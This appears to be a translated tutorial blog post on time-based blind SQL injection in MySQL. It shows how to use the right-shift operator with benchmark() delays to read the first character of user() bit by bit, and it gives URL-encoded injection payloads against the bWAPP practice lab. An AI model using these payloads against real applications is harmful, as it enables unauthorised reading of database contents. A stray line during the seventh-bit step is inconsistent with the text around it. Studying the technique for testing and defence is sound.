在2011年至2012年期间针对MySQL数据库集成的各种PHP应用程序进行了一些渗透测试,发现这些数据库容易受到基于时间的SQL盲注攻击。由于各种阻碍和限制,处理起来有些许棘手,因此,不得不找到一种允许我尽可能少地检索数据的方法。

在最近的CTF比赛Hack the Box(https://www.hackthebox.eu/ )中,再次使用这种方法来处理一些棘手的SQL注入。

这篇博文将演示如何使用'右移'运算符(>>)来枚举从SQL查询返回的二进制形式的值。

右移位运算符是将一个二进制数按指定移动的位数向右移动,如下例所示:

mysql> select ascii(b'01110010');+--------------------+| ascii(b'01110010') |+--------------------+| 114 |+--------------------+1 row in set (0.00 sec)mysql> select ascii(b'01110010') >> 1;+-------------------------+| ascii(b'01110010') >> 1 |+-------------------------+| 57 |+-------------------------+1 row in set (0.00 sec)

这可以用在利用SQL盲注入时枚举字符串的字符。如果数据出现在ASCII表中,则每个字符最多可以枚举8次。

我们希望通过此方法提取的数据是查询返回的第一个字符:select user()

mysql位移运算 mysql位运算效率_SQL

第一位:

首先,我们找到第一位的值:

????????

这有两种可能性:

0(十进制值:0)// TRUE

或者

1(十进制值:1)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>7 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| 0 |+--------------------------------------------------------------------------------------+1 row in set (2.35 sec)

SQL查询存在时延,所以条件为TRUE,即第一位为0

0 ???????

mysql位移运算 mysql位运算效率_mysql sql 位运算 效率_02

第二位:

现在,我们需要找第二位的值。同上,这也有两种可能性:

0 0(十进制值:0)// TRUE

或者

0 1(十进制值:1)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>6 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第二位为1

0 1 ?????

mysql位移运算 mysql位运算效率_mysql sql 位运算 效率_03

第三位:

接下来是第三位的值,同上,有以下两种情况:

01 0(十进制值:2)// TRUE

或者

01 1(十进制值:3)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>5 )=2,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第三位为1

01 1 ?????

mysql位移运算 mysql位运算效率_ci_04

第四位:

然后是第四位的值。同上,有两种可能:

011 0(十进制:6)//TRUE

或者

011 1(十进制:7)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>4 )=6,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第四位为1

011 1 ????

mysql位移运算 mysql位运算效率_SQL_05

第五位:

然后是第五位的值。同上,有两种可能:

0111 0(十进制:14)//TRUE

或者

0111 1(十进制:15)// FALSE

m

ysql> select if ((ascii((substr(user(),1,1))) >>3 )=14,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.46 sec)

SQL查询存在时延,所以条件为TRUE,即第五位为0

0111 0???

mysql位移运算 mysql位运算效率_SQL_06

第六位:

然后是第六位的值。同上,有两种可能:

01110 0(十进制:28)//TRUE

或者

01110 1(十进制:29)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>2 )=28,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.44 sec)

SQL查询存在时延,因此条件为TRUE,所以第六位为0

01110 0 ??

mysql位移运算 mysql位运算效率_SQL_07

第七位:

再然后是第七位的值。同上,有两种可能:

011100 0(十进制:56)//TRUE

或者

011100 1(十进制:57)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>1 )=56,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| false |+---------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第七位为1

第四位必须为1

011100 1?

mysql位移运算 mysql位运算效率_ci_08

第八位:

最后,我们需要找到第八位的值。同上,有两种可能:

0111001 0(十进制:114)//TRUE

或者

0111001 1(十进制:115)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >>0 )=114,benchmark(10000000,sha1('test')), 'false');+----------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |+----------------------------------------------------------------------------------------+| 0 |+----------------------------------------------------------------------------------------+1 row in set (2.33 sec)

SQL查询存在时延,所以条件为TRUE,即第八位为0

0111001 0

mysql位移运算 mysql位运算效率_ci_09

现在我们可以得出结论,查询返回的第一个字符的二进制值:select user()是01110010,结果是十进制值为114。114是'r'字符的ASCII码。

mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)

为了演示这种类型的SQL盲注攻击,我已经讲述了怎样枚举在bWAPP上容易受到攻击的应用程序中由'select user()' 返回的第一个字符的第一个和最后一个二进制位:(https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)

1.SQLi字符串为第一位返回一个TRUE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

mysql位移运算 mysql位运算效率_ci_10

2.SQLi字符串为第一位返回一个FALSE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

mysql位移运算 mysql位运算效率_SQL_11

3.SQLi字符串为第8位返回TRUE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

mysql位移运算 mysql位运算效率_mysql位移运算_12